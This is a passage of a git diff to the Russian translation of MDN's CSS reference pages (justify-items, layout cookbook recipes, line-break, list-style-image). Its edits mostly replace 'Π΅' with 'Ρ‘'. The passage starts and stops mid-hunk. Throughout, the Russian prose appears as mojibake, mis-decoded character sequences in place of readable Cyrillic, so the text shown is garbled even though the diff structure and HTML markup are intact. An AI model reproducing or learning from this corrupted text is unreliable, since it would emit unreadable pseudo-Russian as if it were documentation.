ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚ΠΎΡ‡Π½ΠΎ заполняСт ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ выравнивания.</dd>
<dt><code>safe</code></dt>
<dd>Если Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнта Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания, элСмСнт выравниваСтся, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Ρ€Π΅ΠΆΠΈΠΌ выравнивания ΠΈΠΌΠ΅Π» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>start</code>.</dd>
<dt><code>unsafe</code></dt>
<dd>НСзависимо ΠΎΡ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² элСмСнта ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания, Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ выравнивания учитываСтся.</dd>
<dt><code>legacy</code></dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, унаслСдованноС ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ Π±Π»ΠΎΠΊΠ°. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ссли ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>justify-self: auto</code>, ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>legacy</code> Π½Π΅ учитываСтся ΠΏΠΎ нисходящСму наслСдованию. ДСйствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>left</code>, <code>right</code>, ΠΈΠ»ΠΈ <code>center</code>, связанным с Π½ΠΈΠΌ.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, унаслСдованноС ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ Π±Π»ΠΎΠΊΠ°. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ссли ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>justify-self: auto</code>, ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>legacy</code> Π½Π΅ учитываСтся ΠΏΠΎ нисходящСму наслСдованию. ДСйствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>left</code>, <code>right</code>, ΠΈΠ»ΠΈ <code>center</code>, связанным с Π½ΠΈΠΌ.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
@@ -164,7 +164,7 @@ justify-items: unset;
<ul>
<li>CSS Руководство ΠΏΠΎ Grid: <em><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠΎΠ² Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Grid</a></em></li>
<li><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">CSS Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠΎΠ²</a></li>
- <li>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{CSSxRef("place-items")}}</li>
+ <li>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{CSSxRef("place-items")}}</li>
<li>Атрибут {{CSSxRef("justify-self")}}</li>
<li>Атрибут {{CSSxRef("align-items")}}</li>
</ul>
diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html
index 6dab482257..ee254f16d9 100644
--- a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html
+++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation
---
<div>{{CSSRef}}</div>
-<p class="summary">Навигация ΠΏΠΎ Ρ…Π»Π΅Π±Π½Ρ‹ΠΌ ΠΊΡ€ΠΎΡˆΠΊΠ°ΠΌ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎΠ½ΡΡ‚ΡŒ своС мСстополоТСниС Π½Π° Π²Π΅Π±-сайтС, обСспСчивая ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ страницС.</p>
+<p class="summary">Навигация ΠΏΠΎ Ρ…Π»Π΅Π±Π½Ρ‹ΠΌ ΠΊΡ€ΠΎΡˆΠΊΠ°ΠΌ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎΠ½ΡΡ‚ΡŒ своё мСстополоТСниС Π½Π° Π²Π΅Π±-сайтС, обСспСчивая ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ страницС.</p>
<p><img alt="Links displayed inline with separators" src="https://mdn.mozillademos.org/files/16228/breadcrumb-navigation.png" style="height: 108px; width: 1268px;"></p>
@@ -22,7 +22,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation
</div>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π΄Π²Π° сСлСктора для вставки содСрТимого ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ li, ΠΊΡ€ΠΎΠΌΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ. Π­Ρ‚ΠΎΠ³ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ сСлСктор:</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π΄Π²Π° сСлСктора для вставки содСрТимого ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ li, ΠΊΡ€ΠΎΠΌΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ. Π­Ρ‚ΠΎΠ³ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ сСлСктор:</p>
<pre class="notranslate">.breadcrumb li:not(:first-child)::before {
Β  content: "β†’";
diff --git a/files/ru/web/css/layout_cookbook/index.html b/files/ru/web/css/layout_cookbook/index.html
index ca19142c28..898ba58672 100644
--- a/files/ru/web/css/layout_cookbook/index.html
+++ b/files/ru/web/css/layout_cookbook/index.html
@@ -11,12 +11,12 @@ tags:
translation_of: Web/CSS/Layout_cookbook
---
<div>{{CSSRef}}<br>
-Книга Ρ€Π΅Ρ†Π΅ΠΏΡ‚ΠΎΠ² CSS ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных Π»Π΅ΠΉΠ°ΡƒΡ‚ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³Ρƒ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒΡΡ Π²Π°ΠΌ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π²Π΅Π±-сайтов.<br>
+Книга Ρ€Π΅Ρ†Π΅ΠΏΡ‚ΠΎΠ² CSS ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых Π»Π΅ΠΉΠ°ΡƒΡ‚ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³Ρƒ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒΡΡ Π²Π°ΠΌ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π²Π΅Π±-сайтов.<br>
<br>
Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ прСдставлСнным ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌ ΠΊΠΎΠ΄Π°, - ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π²ΠΏΠΎΠ»Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ для своих ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ², - эти Ρ€Π΅Ρ†Π΅ΠΏΡ‚Ρ‹ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ нСстандартныС способы примСнСния ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π»Π΅ΠΉΠ°ΡƒΡ‚ (layout) спСцификаций. ΠŸΠ°Ρ‚Ρ‚Π΅Ρ€Π½Ρ‹, прСдставлСнныС Π½ΠΈΠΆΠ΅, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰ΠΈΡ…ΡΡ Π² ΠΆΠΈΠ·Π½ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°.</div>
<div><br>
-<strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅.</strong> Если Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² Π² Ρ€Π°Π±ΠΎΡ‚Π΅ с CSS, Ρ‚ΠΎ сначала Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° наш ΠΌΠΎΠ΄ΡƒΠ»ΡŒ обучСния ΠΌΠ°ΠΊΠ΅Ρ‚Π°ΠΌ CSS, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ даст Π²Π°ΠΌ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ знания, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для использования ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… здСсь Ρ€Π΅Ρ†Π΅ΠΏΡ‚ΠΎΠ².</div>
+<strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅.</strong> Если Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² Π² Ρ€Π°Π±ΠΎΡ‚Π΅ с CSS, Ρ‚ΠΎ сначала Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° наш ΠΌΠΎΠ΄ΡƒΠ»ΡŒ обучСния ΠΌΠ°ΠΊΠ΅Ρ‚Π°ΠΌ CSS, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ даст Π²Π°ΠΌ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ знания, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для использования ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… здСсь Ρ€Π΅Ρ†Π΅ΠΏΡ‚ΠΎΠ².</div>
<h2 id="The_Recipes">The Recipes</h2>
diff --git a/files/ru/web/css/layout_cookbook/split_navigation/index.html b/files/ru/web/css/layout_cookbook/split_navigation/index.html
index 5f08999af1..c6b66d5e2f 100644
--- a/files/ru/web/css/layout_cookbook/split_navigation/index.html
+++ b/files/ru/web/css/layout_cookbook/split_navigation/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/Layout_cookbook/Split_Navigation
<h2 id="ВрСбования">ВрСбования</h2>
-<p>Π Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½Π΅Π½Π½Ρ‹ΠΉΒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉΒ ΡˆΠ°Π±Π»ΠΎΠ½Β ΠΈΠΌΠ΅Π΅Ρ‚Β ΠΎΠ΄ΠΈΠ½ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»Π΅Π½Β ΠΎΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ…. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Flexbox для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, Π±Π΅Π· нСобходимости ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π²Π° Π½Π°Π±ΠΎΡ€Π° элСмСнтов Π² Π΄Π²ΡƒΡ… Ρ€Π°Π·Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°Ρ….Β </p>
+<p>Π Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½Ρ‘Π½Π½Ρ‹ΠΉΒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉΒ ΡˆΠ°Π±Π»ΠΎΠ½Β ΠΈΠΌΠ΅Π΅Ρ‚Β ΠΎΠ΄ΠΈΠ½ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»Π΅Π½Β ΠΎΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ…. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Flexbox для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, Π±Π΅Π· нСобходимости ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π²Π° Π½Π°Π±ΠΎΡ€Π° элСмСнтов Π² Π΄Π²ΡƒΡ… Ρ€Π°Π·Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°Ρ….Β </p>
<h2 id="Π Π΅Ρ†Π΅ΠΏΡ‚">Π Π΅Ρ†Π΅ΠΏΡ‚</h2>
diff --git a/files/ru/web/css/layout_cookbook/sticky_footers/index.html b/files/ru/web/css/layout_cookbook/sticky_footers/index.html
index 945d727438..d5cc1a5c97 100644
--- a/files/ru/web/css/layout_cookbook/sticky_footers/index.html
+++ b/files/ru/web/css/layout_cookbook/sticky_footers/index.html
@@ -33,7 +33,7 @@ translation_of: Web/CSS/Layout_cookbook/Sticky_footers
<h2 id="Π’Ρ‹Π±ΠΎΡ€_сдСлан">Π’Ρ‹Π±ΠΎΡ€ сдСлан</h2>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π»ΠΈΠΏΠΊΠΈΠΉ Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS Grid Layout. Класс <code>.wrapper</code> ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ высоту <code>100%</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ высоты, ΠΊΠ°ΠΊ ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ находится. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм сСтку с ΠΎΠ΄Π½ΠΈΠΌ столбцом с трСмя строками, ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ строкС для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ части нашСго ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π»ΠΈΠΏΠΊΠΈΠΉ Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS Grid Layout. Класс <code>.wrapper</code> ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ высоту <code>100%</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ высоты, ΠΊΠ°ΠΊ ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ находится. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём сСтку с ΠΎΠ΄Π½ΠΈΠΌ столбцом с трСмя строками, ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ строкС для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ части нашСго ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
<p>ΠŸΡ€ΠΈ автоматичСском Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΈ сСтки наши элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π² исходном порядкС, поэтому Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π½Π° ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ с автоматичСскими Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ, основноС содСрТимоС - Π½Π° Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ <code>1fr</code>, Π° Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» - Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ с автоматичСскими Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ. Π’Ρ€Π΅ΠΊ <code>1fr</code> Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ всС доступноС пространство ΠΈ поэтому Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΎΠ±Π΅Π».</p>
diff --git a/files/ru/web/css/line-break/index.html b/files/ru/web/css/line-break/index.html
index 77a60084f0..3fd8255f5a 100644
--- a/files/ru/web/css/line-break/index.html
+++ b/files/ru/web/css/line-break/index.html
@@ -33,7 +33,7 @@ line-break: unset;
<dt><code>loose</code></dt>
<dd>Π Π°Π·Ρ€Ρ‹Π² тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Ρ€Π°Π·Ρ€Ρ‹Π²Π° строки с наимСньшими ограничСниями. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… строк, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π³Π°Π·Π΅Ρ‚Π°Ρ….</dd>
<dt><code>normal</code></dt>
- <dd>Π Π°Π·Ρ€Ρ‹Π² тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнноС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Ρ€Π°Π·Ρ€Ρ‹Π²Π° строки.</dd>
+ <dd>Π Π°Π·Ρ€Ρ‹Π² тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённоС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Ρ€Π°Π·Ρ€Ρ‹Π²Π° строки.</dd>
<dt><code>strict</code></dt>
<dd>Π Π°Π·Ρ€Ρ‹Π² тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ самоС строгоС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Ρ€Π°Π·Ρ€Ρ‹Π²Π° строки.</dd>
</dl>
diff --git a/files/ru/web/css/list-style-image/index.html b/files/ru/web/css/list-style-image/index.html
index fd53b2bf17..75ab704334 100644
--- a/files/ru/web/css/list-style-image/index.html
+++ b/files/ru/web/css/list-style-image/index.html
@@ -40,7 +40,7 @@ list-style-image: unset;
<dt>{{cssxref("&lt;url&gt;")}}</dt>
<dd>РасполоТСниС элСмСнта для использования Π² качСствС ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°.</dd>
<dt><code>none</code></dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π° списка. Если установлСно это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, вмСсто Π½Π΅Π³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² {{ Cssxref("list-style-type") }}.</dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π° списка. Если установлСно это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, вмСсто Π½Π΅Π³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π² {{ Cssxref("list-style-type") }}.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/margin-inline-start/index.html b/files/ru/web/css/margin-inline-start/index.html
index 5021330969..cc9db43bce 100644
--- a/files/ru/web/css/margin-inline-start/index.html
+++ b/files/ru/web/css/margin-inline-start/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/margin-inline-start
---
<p>{{CSSRef}}{{SeeCompatTable}}</p>
